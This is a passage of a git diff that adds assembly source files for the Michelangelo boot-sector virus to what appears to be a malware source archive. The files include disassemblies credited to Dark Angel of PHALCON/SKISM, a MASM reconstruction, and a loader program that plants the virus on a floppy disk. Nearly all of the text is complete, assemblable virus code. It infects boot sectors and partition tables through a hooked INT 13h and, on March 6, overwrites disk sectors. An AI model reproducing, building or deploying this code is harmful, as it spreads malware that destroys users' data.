ax, ax + mov ds, ax + test byte ptr ds:[43fh], 1 ; disk 0 on? + jnz exitint13h ; if not spinning, exit + pop ax + pop ds + pushf + call dword ptr cs:[oldint13h]; first call old int 13h + pushf + call infectdisk ; then infect + popf + retf 2 +exitint13h: pop ax + pop ds + jmp dword ptr cs:[oldint13h] + +infectdisk: + push ax + push bx + push cx + push dx + push ds + push es + push si + push di + push cs + pop ds + push cs + pop es + mov si, 4 +readbootblock: + mov ax,201h ; Read boot block to + mov bx,200h ; after virus + mov cx,1 + xor dx,dx + pushf + call oldint13h + jnc checkinfect ; continue if no error + xor ax,ax + pushf + call oldint13h ; Reset disk + dec si ; loop back + jnz readbootblock + jmp short quitinfect ; exit if too many failures +checkinfect: + xor si,si + cld + lodsw + cmp ax,[bx] ; check if already infected + jne infectitnow + lodsw + cmp ax,[bx+2] ; check again + je quitinfect +infectitnow: + mov ax,301h ; Write old boot block + mov dh,1 ; to head 1 + mov cl,3 ; sector 3 + cmp byte ptr [bx+15h],0FDh ; 360k disk? + je is360Kdisk + mov cl,0Eh +is360Kdisk: + mov firstsector,cx + pushf + call oldint13h + jc quitinfect ; exit on error + mov si,200h+offset partitioninfo + mov di,offset partitioninfo + mov cx,21h ; Copy partition table + cld + rep movsw + mov ax,301h ; Write virus to sector 1 + xor bx,bx + mov cx,1 + xor dx,dx + pushf + call oldint13h +quitinfect: + pop di + pop si + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + retn +entervirus: + xor ax,ax + mov ds,ax + cli + mov ss,ax + mov ax,7C00h ; Set stack to just below + mov sp,ax ; virus load point + sti + push ds ; save 0:7C00h on stack for + push ax ; later retf + mov ax,ds:[13h*4] + mov word ptr ds:[7C00h+offset oldint13h],ax + mov ax,ds:[13h*4+2] + mov word ptr ds:[7C00h+offset oldint13h+2],ax + mov ax,ds:[413h] ; memory size in K + dec ax ; 1024 K + dec ax + mov ds:[413h],ax ; move new value in + mov cl,6 + shl ax,cl ; ax = paragraphs of memory + mov es,ax ; next line sets seg of jmp + mov word ptr ds:[7C00h+2+offset highmemjmp],ax + mov ax,offset int13h + mov ds:[13h*4],ax + mov ds:[13h*4+2],es + mov cx,offset partitioninfo + mov si,7C00h + xor di,di + cld + rep movsb ; copy to high memory + ; and transfer control there + jmp dword ptr cs:[7C00h+offset highmemjmp] +; destination of highmem jmp + xor ax,ax + mov es,ax + int 13h ; reset disk + push cs + pop ds + mov ax,201h + mov bx,7C00h + mov cx,firstsector + cmp cx,7 ; hard disk infection? + jne floppyboot ; if not, do floppies + mov dx,80h ; Read old partition table of + int 13h ; first hard disk to 0:7C00h + jmp short exitvirus +floppyboot: + mov cx,firstsector ; read old boot block + mov dx,100h ; to 0:7C00h + int 13h + jc exitvirus + push cs + pop es + mov ax,201h ; read boot block + mov bx,200h ; of first hard disk + mov cx,1 + mov dx,80h + int 13h + jc exitvirus + xor si,si + cld + lodsw + cmp ax,[bx] ; is it infected? + jne infectharddisk ; if not, infect HD + lodsw ; check infection + cmp ax,[bx+2] + jne infectharddisk +exitvirus: + xor cx,cx ; Real time clock get date + mov ah,4 ; dx = mon/day + int 1Ah + cmp dx,306h ; March 6th + je damagestuff + retf ; return control to original + ; boot block @ 0:7C00h +damagestuff: + xor dx,dx + mov cx,1 +smashanothersector: + mov ax,309h + mov si,firstsector + cmp si,3 + je smashit + mov al,0Eh + cmp si,0Eh + je smashit + mov dl,80h ; first hard disk + mov maxhead,4 + mov al,11h +smashit: + mov bx,5000h ; random memory area + mov es,bx ; at 5000h:5000h + int 13h ; Write al sectors to drive dl + jnc skiponerror ; skip on error + xor ah,ah ; Reset disk drive dl + int 13h +skiponerror: + inc dh ; next head + cmp dh,maxhead ; 2 if floppy, 4 if HD + jb smashanothersector + xor dh,dh ; go to next head/cylinder + inc ch + jmp short smashanothersector +infectharddisk: + mov cx,7 ; Write partition table to + mov firstsector,cx ; sector 7 + mov ax,301h + mov dx,80h + int 13h + jc exitvirus + mov si,200h+offset partitioninfo ; Copy partition + mov di,offset partitioninfo ; table information + mov cx,21h + rep movsw + mov ax,301h ; Write to sector 8 + xor bx,bx ; Copy virus to sector 1 + inc cl + int 13h +;* jmp short 01E0h + db 0EBh, 32h ; ?This should crash? +; The following bytes are meaningless. +garbage db 1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h +partitioninfo: db 42h dup (0) +michelangelo ends + end + diff --git a/MSDOS/Virus.MSDOS.Unknown.mich_ld.asm b/MSDOS/Virus.MSDOS.Unknown.mich_ld.asm new file mode 100644 index 00000000..7bfdb134 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mich_ld.asm @@ -0,0 +1,386 @@ +;virus date 12/31/93 +;disassembly of 1 version of the MICHElANGLO VIRUS +;michelangelo with a loader that will put the virus +;on a disk in drive b: will work correctly on 360 or 1.2meg disks +;loads orginal boot at last sector on those type of disks +;warning if computer date is march 6 on boot up with virus it will +;try to infect hard drive then write system info on +;to disks destroying the information on disk +; +; +;to load virus onto A drive alter the equ disk_dr to 00 + +int13_IP EQU 0004CH ;interrupt 13H location +int13_CS EQU 0004EH + + +MICHA SEGMENT BYTE + ASSUME CS:MICHA, DS:MICHA, ES:MICHA, SS:MICHA + +;***************************************************************************** +;loader program + disk_dr equ 01 ;01 disk b 00 disk a + + ORG 100H + +START: MOV DL,DISK_DR + XOR SI,SI + + XOR AX,AX ; RESET DRIVE + INT 13H + INC SI +AGAIN: + MOV AX,201H ;READ BOOT INTO BUFFER + MOV BX,OFFSET BUFF + MOV CX,01 + MOV Dh,00 + mov dl,disk_dr + INT 13H + JNC ALRIGHT + + CMP SI,4 + JA ERROR_WRITE + + xor ax,ax + int 13h + JMP AGAIN +ALRIGHT: + MOV AX,301H ; WRITE BOOT TO + MOV Dh,01 ; LAST SECTOR OF + MOV CL,03 ; DIR + mov dl,disk_dr ; WHICH DISK + CMP BYTE PTR [BX+15H],0FDH ; TYPE OF DISK HIGH LOW + JZ LOW_DENSW ; + + MOV CL,0EH + +LOW_DENSW: + MOV [LOC_ORG_BOOT],CX ; SETUP VIRUS FOR TYPE + INT 13H ; DISK DRIVE + + XOR AX,AX ; RESET DRIVE + INT 13H + + MOV AX,0301H ;WRITE VIRUS + MOV BX,OFFSET M_START ; TO BOOT SECTOR + mov cx,01 + mov Dh,00 + mov dl,disk_dr + INT 13H + JNC FINI + +ERROR_WRITE: MOV AH,9 + MOV DX,OFFSET ERROR_MESS + INT 21H + + +FINI: + INT 20H ;EXIT + +ERROR_MESS DB 'SORRY THERE IS A PROBLEM CHECK DRIVE DOOR' + DB 'OR TRY ANOTHER DISK',24H + +BUFF DB 200H DUP (90) ;BUFFER FOR R/W OF DISK + +;************************************************************************* + + ORG 0413H +MEM_SIZE DW ? ;memory size in kilobytes + + ORG 043FH +MOTOR_STATUS DB ? ;floppy disk motor status + + +;************************************************************************* + + ORG 7C00H +M_START: + JMP START1 + +JMP_HI_MEM DW OFFSET HI_MEM - 7C00H +HIGH_SEG DW 0 + +DESTROY_CNT DB 02 + +LOC_ORG_BOOT DW 000EH ;HIGH DENS + +OLD_INT13_IP DW 0 +OLD_INT13_CS DW 0 + +VIR_INT13: + PUSH DS ; SAVE REGS + PUSH AX ; + OR DL,DL ; IS IT DISK DRIVE A + JNZ BIOS_INT13 ; NO + + XOR AX,AX ;CHECK MOTOR STATUS + MOV DS,AX ; IS MOTOR RUNNING + TEST BYTE PTR DS:[MOTOR_STATUS],01 ; + JNZ BIOS_INT13 ; YES + + POP AX ; LET + POP DS ; THE INT CALL + PUSHF ; GO BUT RETURN + CALL DWORD PTR CS:[OLD_INT13_IP - 7C00H] ; TO THE VIRUS + + PUSHF ; ON RETURN + CALL INFECT_FLOPPY ; ATTEMPT INFECT + + POPF ;ATTEMPTED INFECT RETURN + RETF 2 ;TO ORGINAL INT CALLER + +BIOS_INT13: + POP AX ;LET BIOS HANDLE + POP DS ;THE CALL + JMP DWORD PTR CS:[OLD_INT13_IP - 7C00H] ; + +INFECT_FLOPPY: + PUSH AX BX CX DX DS ES SI DI + + PUSH CS + POP DS + + PUSH CS + POP ES + + MOV SI,04 ;RETRY COUNTER + +READ_LP: + MOV AX,201H ; SETUP TO READ BOOT SECTOR + MOV BX,0200H ; TO END OF VIRUS + MOV CX,01 ; + XOR DX,DX ; + + PUSHF ;FAKE A INT 13 CALL + CALL DWORD PTR [OLD_INT13_IP - 7C00H] ; + JNB NO_ERROR ; + +TRY_AGAIN: ; IF ERROR + XOR AX,AX ; RESET DRIVE + PUSHF ; AND TRY AGAIN FOR + CALL DWORD PTR [OLD_INT13_IP - 7C00H] ; COUNT OF 4 + DEC SI ; USING SI + JNZ READ_LP ; + + JMP SHORT ERROR_EXIT ;PROBALY WRITE PROTECT + ;GET OUT +NO_ERROR: + XOR SI,SI + +CHK_FOR_INFECTION: + CLD ; CHECK FIRST 2 BYTES + LODSW ; TO VIRUS + CMP AX,[BX] ; + JNZ NOT_INFECTED_A ; NOT MATCH GO INFECT + LODSW ; TRY NEXT 2 BYTES + CMP AX,[BX+2] ; + JZ ERROR_EXIT ; MATCH LEAVE + +NOT_INFECTED_A: + MOV AX,301H ; WRITE THE ORGINAL + MOV DH,01 ; BOOT TO THE NEW + MOV CL,03 ; LOCATION FIND + CMP BYTE PTR [BX+15H],0FDH ; NEW LOCATION + JZ LOW_DENS ; BY CHECKING IF 360 + + MOV CL,0EH ; OR 1.2 + +LOW_DENS: + MOV [LOC_ORG_BOOT - 7C00H],CX ;SAVE NEW LOCATION + + PUSHF ; CALL TO + CALL DWORD PTR [OLD_INT13_IP - 7C00H] ; INT 13 + JB ERROR_EXIT + +UPDATE_END: + MOV SI,3BEH ; COPY LAST + MOV DI,1BEH ; 21 BYTES FROM + MOV CX,21H ; ORGINAL BOOT + CLD ; SECTOR + REPZ MOVSW ; TO VIRUS + + MOV AX,0301H ; WRITE VIRUS + XOR BX,BX ; TO BOOT SECTOR + MOV CX,01 ; SECTOR 1 + XOR DX,DX ; DRIVE A HEAD A + + PUSHF ;INT 13 + CALL DWORD PTR [OLD_INT13_IP - 7C00H] ; + +ERROR_EXIT: + POP DI SI ES DS DX CX BX AX ; RESTORE REGS + RET ; LEAVE + +START1: + XOR AX,AX ;WHERE WE JUMP TO + MOV DS,AX ;AT BOOT UP TIME + CLI ;SET UP STACK + MOV SS,AX ; + MOV AX,7C00H ; + MOV SP,AX ; + STI ; + + PUSH DS ; SET UP FOR RETF + PUSH AX ; LATER + + MOV AX,DS:[INT13_IP] ;SAVE OLD INT 13 + mov [OLD_INT13_IP],AX ;VECTORS + + MOV AX,DS:[INT13_CS] ; + MOV [OLD_INT13_CS],AX ; + + MOV AX,DS:[MEM_SIZE] ;DEC MEMORY SIZE + DEC AX ; + DEC AX ; + MOV DS:[MEM_SIZE],AX ; + + MOV CL,06H ;CONVERT SIZE TO + SHL AX,CL ;SEGMENT ADDRESS + MOV ES,AX ; + + MOV [HIGH_SEG],AX ;SAVE ADDRESS + + MOV AX, OFFSET VIR_INT13 - 7C00H ; SET UP INT 13 TO + MOV DS:[INT13_IP],AX ; POINT TO US + MOV DS:[INT13_CS],ES ; + + MOV CX,1BEH ;OFFSET END_VIR - OFFSET M_START + MOV SI,7C00H ;COPY VIRAL CODE UP IN MEMORY + XOR DI,DI ; + CLD ; + REPZ MOVSB ; + + JMP DWORD PTR CS:[JMP_HI_MEM] ;GO THERE + +HI_MEM: + XOR AX,AX ; RESET DRIVE + MOV ES,AX ; SET UP ES SEGMENT TO 0 + INT 13H ; + + PUSH CS ;DS POINTS HERE + POP DS ; + + MOV AX,0201H ;READ ORGINAL BOOT + MOV BX,7C00H ; + MOV CX,[LOC_ORG_BOOT - 7C00H] ; + CMP CX,0007H ; + JNZ FLOPPY + +H_DRIVE: + MOV DX,0080H ; READ ORGINAL + INT 13H ; BOOT FROM HARD DRIVE + JMP SHORT GET_DATE ; CHECK DATE + +FLOPPY: + MOV CX,[LOC_ORG_BOOT - 7C00H] ;READ ORGINAL + MOV DX,100H ;BOOT FROM FLOPPY + INT 13H ; + JB GET_DATE ; IF ERROR CHECK DATE + + PUSH CS + POP ES + +HD_INFECT: + MOV AX,0201H ;READ 1 SECTOR + mov bx,0200h ;TO BUFFER + mov cx,0001h ;SECTOR 1 + MOV DX,0080H ;HEAD 0 DISK C: + INT 13H + + JB GET_DATE ;IF ERROR + +CHK_BOOT: + XOR SI,SI + CLD + LODSW + CMP AX,[BX] + JNE NOT_INFECTED + LODSW + CMP AX,[BX+2] + JNE NOT_INFECTED + +GET_DATE: + XOR CX,CX ;GET DATE + MOV AH,04 ; + INT 1AH ; + CMP DX,0306H ;IS IT MARCH 6 + JZ TRASH_DISK ; + RETF ;BIOS_BOOT + +;****************************************************************** +; TRASH DISK ROUTTINE SIMPLY WRITE MEMORY DATA FROM +; 5000:5000 TO THE DISKS FIRST 9 SECTORS UNTIL AN ERROR HITS IT +; + +TRASH_DISK: + XOR DX,DX + MOV CX,1 +D_LOOP: + MOV AX,0309H ;WRITE DISK 9 SECTORS + MOV SI,[LOC_ORG_BOOT - 7C00H] + CMP SI,+03 + JE FLPPY_DISK + + MOV AL,0EH + CMP SI,+0EH + JE FLPPY_DISK + + MOV DL,80H + MOV BYTE PTR [DESTROY_CNT - 7C00H],04 + MOV AL,11H +FLPPY_DISK: + MOV BX,5000H + MOV ES,BX + INT 13H + + JNB NO_ERROR_DESTROY + +;RESET_DISK + XOR AH,AH + INT 13H + +NO_ERROR_DESTROY: + INC DH + CMP DH,[DESTROY_CNT - 7C00H] + JB D_LOOP + + XOR DH,DH + INC CH + JMP SHORT D_LOOP + +;********************************************************************* + +NOT_INFECTED: +;HD ; INFECT HD + MOV CX,0007 ; BY WRITING + MOV [LOC_ORG_BOOT - 7C00H],CX ; ORGINAL BOOT + MOV AX,0301H ; TO HEAD 0 SECTOR 7 + MOV DX,0080H ; TRACK 0 + INT 13H ; + JB GET_DATE ; + +;UPDATE_PARTION: + MOV SI,03BEH ;IMPORTANT TO UPDATE + MOV DI,01BEH ;PARTION TABLE + MOV CX,21H ; + REPZ MOVSW ; + + MOV AX,0301H ;NOW WRITE VIRUS + XOR BX,BX ;TO HARD DRIVE + INC CL ; + INT 13H + JMP SHORT GET_DATE +;THE REST IS WHERE THE PARTION TABLE INFO GOES OR END OF FLOPPY DISK +;BOOT SECTOR GOES + + ORG 7DBEH +END_VIR: + + DB 00 + ORG 7DFEH +BOOT_ID DB 55H,0AAH + +micha ENDS + END START + + diff --git a/MSDOS/Virus.MSDOS.Unknown.michael.asm b/MSDOS/Virus.MSDOS.Unknown.michael.asm new file mode 100644 index 00000000..1a5a7820 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.michael.asm @@ -0,0 +1,234 @@ + +; This is a disassembly of the much-hyped michelangelo virus. +; As you can see, it is a derivative of the Stoned virus. The +; junk bytes at the end of the file are probably throwbacks to +; the Stoned virus. In any case, it is yet another boot sector +; and partition table infector. + +michelangelo segment byte public + assume cs:michelangelo, ds:michelangelo +; Disassembly by Dark Angel of PHALCON/SKISM + org 0 + + jmp entervirus +highmemjmp db 0F5h, 00h, 80h, 9Fh +maxhead db 2 ; used by damagestuff +firstsector dw 3 +oldint13h dd 0C8000256h + +int13h: + push ds + push ax + or dl, dl ; default drive? + jnz exitint13h ; exit if not + xor ax, ax + mov ds, ax + test byte ptr ds:[43fh], 1 ; disk 0 on? + jnz exitint13h ; if not spinning, exit + pop ax + pop ds + pushf + call dword ptr cs:[oldint13h]; first call old int 13h + pushf + call infectdisk ; then infect + popf + retf 2 +exitint13h: pop ax + pop ds + jmp dword ptr cs:[oldint13h] + +infectdisk: + push ax + push bx + push cx + push dx + push ds + push es + push si + push di + push cs + pop ds + push cs + pop es + mov si, 4 +readbootblock: + mov ax,201h ; Read boot block to + mov bx,200h ; after virus + mov cx,1 + xor dx,dx + pushf + call oldint13h + jnc checkinfect ; continue if no error + xor ax,ax + pushf + call oldint13h ; Reset disk + dec si ; loop back + jnz readbootblock + jmp short quitinfect ; exit if too many failures +checkinfect: + xor si,si + cld + lodsw + cmp ax,[bx] ; check if already infected + jne infectitnow + lodsw + cmp ax,[bx+2] ; check again + je quitinfect +infectitnow: + mov ax,301h ; Write old boot block + mov dh,1 ; to head 1 + mov cl,3 ; sector 3 + cmp byte ptr [bx+15h],0FDh ; 360k disk? + je is360Kdisk + mov cl,0Eh +is360Kdisk: + mov firstsector,cx + pushf + call oldint13h + jc quitinfect ; exit on error + mov si,200h+offset partitioninfo + mov di,offset partitioninfo + mov cx,21h ; Copy partition table + cld + rep movsw + mov ax,301h ; Write virus to sector 1 + xor bx,bx + mov cx,1 + xor dx,dx + pushf + call oldint13h +quitinfect: + pop di + pop si + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + retn +entervirus: + xor ax,ax + mov ds,ax + cli + mov ss,ax + mov ax,7C00h ; Set stack to just below + mov sp,ax ; virus load point + sti + push ds ; save 0:7C00h on stack for + push ax ; later retf + mov ax,ds:[13h*4] + mov word ptr ds:[7C00h+offset oldint13h],ax + mov ax,ds:[13h*4+2] + mov word ptr ds:[7C00h+offset oldint13h+2],ax + mov ax,ds:[413h] ; memory size in K + dec ax ; 1024 K + dec ax + mov ds:[413h],ax ; move new value in + mov cl,6 + shl ax,cl ; ax = paragraphs of memory + mov es,ax ; next line sets seg of jmp + mov word ptr ds:[7C00h+2+offset highmemjmp],ax + mov ax,offset int13h + mov ds:[13h*4],ax + mov ds:[13h*4+2],es + mov cx,offset partitioninfo + mov si,7C00h + xor di,di + cld + rep movsb ; copy to high memory + ; and transfer control there + jmp dword ptr cs:[7C00h+offset highmemjmp] +; destination of highmem jmp + xor ax,ax + mov es,ax + int 13h ; reset disk + push cs + pop ds + mov ax,201h + mov bx,7C00h + mov cx,firstsector + cmp cx,7 ; hard disk infection? + jne floppyboot ; if not, do floppies + mov dx,80h ; Read old partition table of + int 13h ; first hard disk to 0:7C00h + jmp short exitvirus +floppyboot: + mov cx,firstsector ; read old boot block + mov dx,100h ; to 0:7C00h + int 13h + jc exitvirus + push cs + pop es + mov ax,201h ; read boot block + mov bx,200h ; of first hard disk + mov cx,1 + mov dx,80h + int 13h + jc exitvirus + xor si,si + cld + lodsw + cmp ax,[bx] ; is it infected? + jne infectharddisk ; if not, infect HD + lodsw ; check infection + cmp ax,[bx+2] + jne infectharddisk +exitvirus: + xor cx,cx ; Real time clock get date + mov ah,4 ; dx = mon/day + int 1Ah + cmp dx,306h ; March 6th + je damagestuff + retf ; return control to original + ; boot block @ 0:7C00h +damagestuff: + xor dx,dx + mov cx,1 +smashanothersector: + mov ax,309h + mov si,firstsector + cmp si,3 + je smashit + mov al,0Eh + cmp si,0Eh + je smashit + mov dl,80h ; first hard disk + mov maxhead,4 + mov al,11h +smashit: + mov bx,5000h ; random memory area + mov es,bx ; at 5000h:5000h + int 13h ; Write al sectors to drive dl + jnc skiponerror ; skip on error + xor ah,ah ; Reset disk drive dl + int 13h +skiponerror: + inc dh ; next head + cmp dh,maxhead ; 2 if floppy, 4 if HD + jb smashanothersector + xor dh,dh ; go to next head/cylinder + inc ch + jmp short smashanothersector +infectharddisk: + mov cx,7 ; Write partition table to + mov firstsector,cx ; sector 7 + mov ax,301h + mov dx,80h + int 13h + jc exitvirus + mov si,200h+offset partitioninfo ; Copy partition + mov di,offset partitioninfo ; table information + mov cx,21h + rep movsw + mov ax,301h ; Write to sector 8 + xor bx,bx ; Copy virus to sector 1 + inc cl + int 13h +;* jmp short 01E0h + db 0EBh, 32h ; ?This should crash? +; The following bytes are meaningless. +garbage db 1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h +partitioninfo: db 42h dup (0) +michelangelo ends + end diff --git a/MSDOS/Virus.MSDOS.Unknown.michel.asm b/MSDOS/Virus.MSDOS.Unknown.michel.asm new file mode 100644 index 00000000..3e474330 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.michel.asm @@ -0,0 +1,322 @@ + TITLE MICHELANGELO, a STONED - derived Boot Virus + SUBTTL reverse engineered source code for MASM 5.1/6.0 + + PAGE 60,132 + .RADIX 16 + + IF1 + %Out ÉĶ VIRAL SOFTWARE, DO NOT DISTRIBUTE WITHOUT NOTIFICATION Ķ» + %Out ŗ°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°ŗ + %Out ŗ°°°°°°°°°°°°°°°ŚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄæ°°°°°°°°°°°°°°°°ŗ + %Out ŗ°°ÄÄÄÄÄÄÄÄÄÄÄÄÄ“ M I C H E L A N G E L O ĆÄÄÄÄÄÄÄÄÄÄÄÄÄݰŗ + %Out ŗ°°°°°°°°°°°°°°°ĄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄŁ°°°°°°°°°°°°°°°°ŗ + %Out ŗ°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°ŗ + %Out ČĶĶ Layout (C) 1992 164A12565AA18213165556D3125C4B962712 Ķͼ + ENDIF + + comment # + + ! ! + ! MICHELANGELO di Ludovico Buonarroti Simoni, born March 6, 1475, ! + ! Caprese, Republic of Florence ... ! + ! This boot block / partition table virus will overwrite most of the ! + ! data on eiter floppy disks or winchester drives at HIS birthday. ! + ! ! + ! This source code may only be used for educational purposes! ! + ! ! + ! Do not offend the law by distributing viral or trojan horse soft- ! + ! ware to anybody who is not aware of the potential danger of the ! + ! software he receives. ! + ! ! + + # + + B equ + D equ + O equ + P equ + S equ + T equ + v equ + W equ + + + SAVE MACRO _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c + IRP _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c> + IFNB <_X> + IFIDN <_X>, + PUSHF + ELSE + PUSH _X + ENDIF + ENDIF + ENDM + ENDM + + REST MACRO _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c + IRP _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c> + IFNB <_X> + IFIDN <_X>, + POPF + ELSE + POP _X + ENDIF + ENDIF + ENDM + ENDM + + MOV_S MACRO S1,S2 + SAVE S2 + REST S1 + ENDM + +TEXT SEGMENT PARA PUBLIC 'CODE' + + ASSUME CS:TEXT,DS:TEXT,ES:TEXT + + ORG 0 + + MICHELANGELO = 0306 ; ... his BCD birthday + ; + SECSIZE = 0200 ; + WINCHESTER1 = 80 ; + bREAD = 2 ; + wREAD = bREAD SHL 8 ; + bWRITE = 3 ; + wWRITE = bWRITE SHL 8 ; + ; + DTA = T B + SECSIZE ; + ; + OR13OFF = T W + 04C ; + OR13SEG = T W + 04E ; + SYSRAM = T W + 413 ; + MOSTAT = T B + 43F ; + ; + PARTTBL = T B + 1BE ; + ; + OFSFRM0 EQU 7C00 ; + ; +START: JMP INIT ; + ; +; ----------------------------------------------------------------------------- + ; +SHDWRELOCOFS = T W + OFSFRM0 ; +RELOCOFS DW FRSTRLCTD ; Used by an indirect far jmp +SHDWRELOCSEG = T W + OFSFRM0 ; to the relocated code. +RELOCSEG DW ? ; + ; +HEADS DB ? ; + ; +CYLSEG DW ? ; + ; +SHDW13OFS = T W + OFSFRM0 ; +BIOS13OFS DW ? ; Holds original (BIOS) +SHDW13SEG = T W + OFSFRM0 ; int 13 vector. +BIOS13SEG DW ? ; + ; +; ----------------------------------------------------------------------------- + ; +I13_ISR: SAVE DS,AX ; INT 13 SR, save regs + OR DL,DL ; drive == A ? + JNZ I13_EX ; jmp if not + XOR AX,AX ; DS = 0 + MOV DS,AX ; + TEST B P [MOSTAT],01 ; test diskette motor status: + JNZ I13_EX ; jmp if motor is already on + REST AX,DS ; + SAVE F ; call old interrupt 13 + CALL D P CS:[BIOS13OFS] ; routine + SAVE F ; save FLAGS + CALL TstInfF ; test & infect if necessary + REST F ; restore FLAGS + RETF 2 ; return, preserve FLAGS + ; +I13_EX: REST AX,DS ; restore regs, jmp to old int + JMP D P CS:[BIOS13OFS] ; 13h routine + ; +TstInfF: SAVE AX,BX,CX,DX,DS,ES,SI,DI ; + MOV_S DS,CS ; ES = DS = CS; + MOV_S ES,CS ; + MOV SI,0004 ; SI = 4 (maxretry counter) + @@: MOV AX,wREAD v 1 ; AX : read one sector + MOV BX,O DTA ; BX : ... to buffer at CS:200 + MOV CX,0001 ; CX : ... cylinder 0, sector 1 + XOR DX,DX ; DX : ... drive 0, head 0 + SAVE F ; call old int13 routine by + CALL D P [BIOS13OFS] ; simulating an interrupt + JNB @F ; jmp if there isn't an error, + XOR AX,AX ; else reset disk system ... + SAVE F ; + CALL D P [BIOS13OFS] ; + DEC SI ; decrement maxretry counter + JNZ @B ; try it again if not zero, + JMP S TstInfF_EX ; else jmp to exit in haste. + ; + @@: XOR SI,SI ; boot sector has been read, + CLD ; now test if disk already has + LODSW ; been infected. Assume infect- + CMP AX,[BX] ; ion if the first 4 bytes of + JNZ @F ; MICHI and the boot sector are + LODSW ; identical ... + CMP AX,[BX+02] ; + JZ TstInfF_EX ; exit, disk already infected + @@: MOV AX,wWRITE v 1 ; AX : Write one sector + MOV DH,01 ; DH : Head 1 + MOV CL,03 ; CL : Sector 3 + CMP B P [BX+15],0FDH ; adjust CL to E if the MEDIA ID + JZ @F ; field of the original boot + MOV CL,0E ; sector is not FD (5.25",360K) + @@: MOV [CYLSEG],CX ; store CX + SAVE F ; and write the original boot + CALL D P [BIOS13OFS] ; sector to the floppy disk + JB TstInfF_EX ; if an error occured, + MOV SI,O PARTTBL + SECSIZE ; exit in haste. + MOV DI,O PARTTBL ; Copy the last bytes of + MOV CX,0021 ; the original boot sector to + CLD ; the end of MICHI + REP MOVSW ; + MOV AX,wWRITE v 1 ; ... and write it to the boot + XOR BX,BX ; sector of the disk. + MOV CX,0001 ; + XOR DX,DX ; + SAVE F ; + CALL D P [BIOS13OFS] ; +TstInfF_EX: REST DI,SI,ES,DS,DX,CX,BX,AX ; restore regs + RET ; ... return + ; +; ----------------------------------------------------------------------------- + ; +INIT: XOR AX,AX ; Set DS and SS to 0000, + MOV DS,AX ; initialize SP to 7C00. + CLI ; That's because the boot + MOV SS,AX ; sector will loaded into + MOV AX,OFSFRM0 ; memory at 0:7C00 on every + MOV SP,AX ; IBM clone ... + STI ; + ; + SAVE DS,AX ; save (0000:7C00) on stack + ; + MOV AX,[OR13OFF] ; Read old interrupt 13h vector + MOV [SHDW13OFS],AX ; and save it + MOV AX,[OR13SEG] ; + MOV [SHDW13SEG],AX ; + ; + MOV AX,[SYSRAM] ; Substract 2 from base memory + DEC AX ; size variable in BIOS data + DEC AX ; area + MOV [SYSRAM],AX ; + ; + MOV CL,06 ; ES = AX = segment part of huge + SHL AX,CL ; ptr to area 2KB below last + MOV ES,AX ; base memory location + ; + MOV [SHDWRELOCSEG],AX ; Store seg for ind far jmp + ; to relocated code + MOV AX,O I13_ISR ; Store ptr to new interrupt + MOV [OR13OFF],AX ; 13 service routine to + MOV [OR13SEG],ES ; interrupt table, + MOV CX,O PARTTBL ; Relocate code, + MOV SI,OFSFRM0 ; + XOR DI,DI ; + CLD ; + REP MOVSB ; + JMP D P CS:[SHDWRELOCOFS] ; Jmp to FRSTRLCTD (relo- + ; cated code)(BUGGY) + ; +FRSTRLCTD: XOR AX,AX ; Reset the disk system + MOV ES,AX ; + INT 13 ; + MOV_S DS,CS ; ES = 0; DS = CS; + MOV AX,wREAD v 1 ; AH = 'Read', AL = # to read + MOV BX,OFSFRM0 ; ES:BX = 0:7C00 = xfer address + MOV CX,[CYLSEG] ; CH = cylinder #, CL = sector # + ; + CMP CX,+07 ; Booted from winchester drive? + JNZ @F ; jmp if not + MOV DX,0000 v WINCHESTER1 ; DH = head 0, DL = drive C + INT 13 ; read the original boot sector + JMP S BOOTNOW ; and jmp + ; + @@: MOV CX,[CYLSEG] ; adjust cylinder/sector #s + MOV DX,0100 ; DH = head 1, DL = drive A + INT 13 ; and read the sector ... + JB BOOTNOW ; (jmp on error, else continue) + MOV_S ES,CS ; ES = CS; + MOV AX,wREAD v 1 ; read partition table of 1st + MOV BX,O DTA ; hard disk into buffer located + MOV CX,0001 ; just after the relocated code + MOV DX,0000 v WINCHESTER1 ; + INT 13 ; + JB BOOTNOW ; (jmp on error, else continue) + XOR SI,SI ; + CLD ; test if hard disk is already + LODSW ; infected by comparing the 1st + CMP AX,[BX] ; four bytes, if these are + JNZ INFECT_PARTTBL ; identical assume that the + LODSW ; hard disk already is infected + CMP AX,[BX+02] ; and continue, else jmp to + JNZ INFECT_PARTTBL ; infect procedure + ; +BOOTNOW: XOR CX,CX ; read date from real time clock + MOV AH,04 ; (will _not_ work on old BIOSes + INT 1A ; that do not implement it) + CMP DX,MICHELANGELO ; jmp if today is the + JZ BIRTHDAY ; birthday of MICHELANGELO + RETF ; 'return' to original boot sec- + ; tor code + ; +; ----------------------------------------------------------------------------- + ; +BIRTHDAY: XOR DX,DX ; DH = head 0; DL = drive A + MOV CX,0001 ; CH = cylinder 0; CL = sector 1 +BIRTHDAY_LOOP: MOV AX,wWRITE v 9 ; AH = 'Write'; AL = # of sectrs + MOV SI,[CYLSEG] ; adjust AL ( # of sectors) and + CMP SI,+03 ; DL (drive code) depending on + JZ @F ; the type of the current boot + MOV AL,0E ; disk + CMP SI,+0E ; + JZ @F ; + MOV DL,WINCHESTER1 ; + MOV B P [HEADS],04 ; + MOV AL,11 ; + @@: MOV BX,5000 ; ES:BX -> 'Buffer' = 5000:5000 + MOV ES,BX ; + INT 13 ; + JNB @F ; + XOR AH,AH ; reset disk system if an error + INT 13 ; occured + @@: INC 